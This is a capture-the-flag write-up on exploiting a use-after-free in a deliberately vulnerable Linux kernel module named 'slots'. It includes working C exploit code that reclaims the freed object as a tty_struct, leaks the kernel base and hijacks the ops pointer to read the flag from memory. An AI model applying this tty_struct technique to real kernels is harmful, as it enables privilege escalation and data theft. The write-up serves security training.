UAF in kernel
Protections
Firstly and most importantly you have to see what protections are on, some common ones include
CONFIG_SLAB_FREELIST_RANDOM
-> slots returned from allocator are not one after another in memoryCONFIG_SLAB_FREELIST_HARDENED
-> similar to safe-linking on the heapSTATIC_USERMODEHELPER
-> you can’t use usermode helpers such asmodprobe_path
to priv escKASLR / FGKASLR
-> Kernel level ASLR, works just like normal ASLR would
Challenge example
I’m going to use the challenge I made for TFCCTF named slots
as an example, in there the flag is loaded in a global variable. All the protections listed above are enabled.
Using ioctl
with the following cmds leads to different results
-
0
allows us to create a new slot with a limit of 2 slots with size of our choice -
cmd
1
lets us free the current slot stored inchunk
, it does not 0 the pointer so it allows for an UAF -
with cmd
1337
we canread
the contents of the slot saved inchunk
, notice there are almost no bounds checks -
cmd
3
canwrite
to the slot saved inchunk
, notice there still are almost no bounds checks
I defined some helpers that will help later
#define MALLOC_CMD 0
#define FREE_CMD 1
#define READ_CMD 1337
#define WRITE_CMD 3
#define KADDR(addr) ((ulong)addr - 0xffffffff81000000 + kbase)
typedef unsigned long long u64;
typedef unsigned long ulong;
typedef struct chunk_data {
size_t offset;
size_t size;
char *buffer;
} chunk_data;
int64_t global_fd = 0;
int64_t ptmx_fd = 0;
u64 kbase;
void open_dev() {
global_fd = open(VULN_DRV, O_RDWR);
assert(global_fd >= 0);
}
void malloc_slot(int fd, u64 slot_size) {
int ret = ioctl(fd, MALLOC_CMD, &slot_size);
assert(ret == 0);
}
void free_slot(int fd) {
int ret = ioctl(fd, FREE_CMD, 0);
assert(ret == 0);
}
void read_slot(int fd, void *buf, u64 buf_size) {
chunk_data req;
req.offset = 0;
req.size = buf_size;
req.buffer = buf;
int ret = ioctl(fd, READ_CMD, &req);
assert(ret == 0);
}
void write_slot(int fd, void *buf, u64 buf_size) {
chunk_data req;
req.offset = 0;
req.size = buf_size;
req.buffer = buf;
int ret = ioctl(fd, WRITE_CMD, &req);
assert(ret == 0);
}
Exploitation
So now that we have an UAF, what can we do with it?
There are many ways to solve this challenge, i’ll present the one I used.
In the kernel there exists a very useful object called tty_struct
that is the base of many kernel exploitation chains including this one.
Why is it that powerful you may ask?
It is because it contains a structure tty_operations
which it uses as a jump table meaning we can get a jump to anywhere we want in memory
struct tty_struct {
struct kref kref; /* 0 4 */
int index; /* 4 4 */
struct device * dev; /* 8 8 */
struct tty_driver * driver; /* 16 8 */
struct tty_port * port; /* 24 8 */
const struct tty_operations * ops; /* 32 8 */
...
}
This is also where the second bug comens into play, the kernel didn’t have the panic on oops flag set so a jump into space that is not code would just give a crash report and continue normal execution meaning we have an arbitrary read primitive.
But wait doesnt FGKASLR
randomise the kernel space? How can we know where to jump?
Well we can get a leak using the read operation from the tty_struct
itself, more specifically that ops
pointer itself is a kernel address. We can retrieve it using the following code
open_dev();
u64 size = 0x400;
uint8_t buf[0x400];
malloc_slot(global_fd, size);
free_slot(global_fd);
ptmx_fd = open("/dev/ptmx", O_RDONLY | O_NOCTTY); // trigger UAF to access tty_struct
// now chunk in the kernel module contains a pointer to the tty_struct object
read_slot(global_fd, buf, sizeof(buf));
u64 leak = *(u64 *)&buf[0x20];
u64 leak_offset = 0x128a480 -0xc661a0;
kbase = leak - leak_offset;
printf("[+] kernel base: 0x%llx\n", kbase);
Now that we know where things are, we need to find our module to read the global variable flag
this means we can use the ops
pointer to jump into the modules
list in the kernel to see what the addr where the module is loaded is.
u64 modules = kbase + 0x8aca80;
printf("[+] modules address: 0x%llx\n", modules);
u64 tty_struct_addr = *(u64 *)&buf[0x40] - 0x40;
uint8_t rop_buf[0x400];
memcpy(rop_buf, buf, sizeof(buf));
u64 offset = 0x20 + 10;
*(u64 *)&rop_buf[0x20] = tty_struct_addr + 0x3f8 - 0x60;
char input_str[64];
u64 user_flag_addr = 0;
printf("Enter the modules address (hex, e.g. 0xffffffffc0002620): "); // printed earlier
fflush(stdout);
if (fgets(input_str, sizeof(input_str), stdin) == NULL) {
fprintf(stderr, "[-] Failed to read input\n");
exit(EXIT_FAILURE);
}
size_t len = strlen(input_str);
if (len > 0 && input_str[len-1] == '\n') {
input_str[len-1] = '\0';
}
user_flag_addr = strtoull(input_str, NULL, 0);
if (user_flag_addr == 0) {
fprintf(stderr, "[-] Parsed address is zero (or invalid format)\n");
exit(EXIT_FAILURE);
}
*(u64 *)&rop_buf[0x3f8] = user_flag_addr + offset;
write_slot(global_fd, rop_buf, sizeof(rop_buf));
puts("Running ioctl");
u64 v = ioctl(ptmx_fd, 0xdeadbeef, 0xdeadbeefdeadbeef);
printf("ret: %lld\n", v);
puts("[ ] END of life...");
close(global_fd);
return EXIT_SUCCESS;
Now that we know where our module is, just calculate the offset to the flag and re run the script and pass the flag addr where you are asked for the modules addr and it will leak the flag
Thoughts
Some other more powerful techniques can be used such as memory scanning to gain root directly but those are for another day. Hope you liked reading this :D